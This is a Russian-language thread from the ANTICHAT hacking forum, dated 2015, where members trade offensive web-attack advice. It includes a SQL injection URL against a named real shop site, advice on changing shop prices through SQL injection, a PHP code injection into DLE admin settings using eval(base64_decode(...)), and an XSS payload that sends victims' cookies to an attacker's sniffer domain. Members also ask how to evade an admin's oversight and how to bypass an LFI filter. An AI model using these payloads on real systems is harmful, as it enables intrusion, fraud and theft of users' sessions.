ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
04.11.2015, 13:20
|
|
Banned
Регистрация: 21.11.2007
Сообщений: 181
Провел на форуме:
1066435
Репутация:
1013
|
|
Сообщение от GroM88
GroM88 said:
↑
Ты видимо не читал предыдущие посты, либо не совсем понял в чем проблема.
Ссылка идет вида
http://megasite.ru/member.html?id=54321
При добавлении коментария Если добавлть html код, он отлично врезается в страницу и выполняется, java script тоже выполняется. А вот когда добавляешь php код например то он не выполняется потому что стоит какой то чудо фильтр на
Konqi,
капать там больше некуда) вот добавили этот баговый коментарий к добавлению мембера в ЧС) это так не работает. даже если внедрить код php, он не будет выполнен. там HTML Injection, а не Code Injection. копать есть куда, я вам предложил - Stored XSS через CSRF
|
|
|
06.11.2015, 22:53
|
|
Guest
Сообщений: n/a
Провел на форуме:
179197
Репутация:
25
|
|
Какими способами можно обойти git? нужно поправить скрипт, который не находится в .gitignore? админ постоянно палит. Прощу советов
|
|
|
|
07.11.2015, 02:57
|
|
Участник форума
Регистрация: 14.01.2008
Сообщений: 174
Провел на форуме:
800953
Репутация:
443
|
|
Сообщение от BabaDook
BabaDook said:
↑
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//www.matrasmax.ru/konfigurator/?on_page=15&price_active=0&height_active=0&type=&size=131&producer_46=on&producers=&price_from=0&price_to=12000&materials=&stronger1=ТУТ &stronger2=&text=&action=apply_filter[/COLOR][/COLOR]
Инъекция? Вот иньекция
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//www.matrasmax.ru/mattress/?other-sizes=421792+order+by+10000--[/COLOR][/COLOR]
|
|
|
|
07.11.2015, 10:29
|
|
Guest
Сообщений: n/a
Провел на форуме:
51198
Репутация:
3
|
|
Возможно ли сделать себе больше денег или снизить цену на сайте-магазине,имея при этом SQL Inj?
Если да то как ?
|
|
|
|
07.11.2015, 10:47
|
|
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
Провел на форуме:
2101094
Репутация:
672
|
|
Сообщение от SaNDER
SaNDER said:
↑
Возможно ли сделать себе больше денег или снизить цену на сайте-магазине,имея при этом SQL Inj?
Если да то как ? Какие то странные вопросы озвучиваете. Если ваша иньекция дает возможность выполнения UPDATE запросов то можно изменить все что хотите (а точнее то к чему есть доступ).
//но кэп подсказывает что с магазинами играть не стоит
|
|
|
|
07.11.2015, 10:51
|
|
Guest
Сообщений: n/a
Провел на форуме:
11344
Репутация:
5
|
|
Сообщение от SaNDER
SaNDER said:
↑
Возможно ли сделать себе больше денег или снизить цену на сайте-магазине,имея при этом SQL Inj?
Если да то как ? Такое впечатлние что вы никогда админку шопа не видели (да и в принципе не понимаете как движки шопов работают). Если нет доступа к UPDATE - админская (манагерская) учетка - в админке делаем все что хотим.
ПыСы И прокатит такое только с цифровыми товарами, и то, далеко не всегда.
|
|
|
|
07.11.2015, 10:57
|
|
Guest
Сообщений: n/a
Провел на форуме:
238786
Репутация:
40
|
|
Сообщение от spherics
spherics said:
↑
Вот иньекция
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//www.matrasmax.ru/mattress/?other-sizes=421792+order+by+10000--[/COLOR][/COLOR]
Спасибо. за ответ.
|
|
|
|
09.11.2015, 19:58
|
|
Guest
Сообщений: n/a
Провел на форуме:
61136
Репутация:
32
|
|
Нашел 4 LFI не могу эксплуатировать мешает эта СРАНЬ
Можно обойти ? |
|
|
|
10.11.2015, 01:25
|
|
Guest
Сообщений: n/a
Провел на форуме:
21252
Репутация:
15
|
|
Сообщение от palec2006
palec2006 said:
↑
спалите как в DLE напихать, админ есть настройки видеоплеера
ширина проигрывателя aaa\
длина проигрывателя .eval(base64_decode(тут код)),//
в ширине экранируем кавычку в длине в конце коментируем
|
|
|
|
10.11.2015, 20:08
|
|
Guest
Сообщений: n/a
Провел на форуме:
1355
Репутация:
0
|
|
Эксплуатирую XSS и тут появился такой вопрос. Отправляю ссылку жертве с этим кодом
document.location.replace(%27 http://доменснифера.ком/sniff.php?с=doсument.сookie%27) и в логах появляется это - %C3%B1=do%C3%B1ument.%C3%B1ookie
Все делаю как надо, а куки левые приходят, вставлял их в браузер и не получилось зайти от админа. Подскажите, в чем загвоздка? |
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Линейный вид
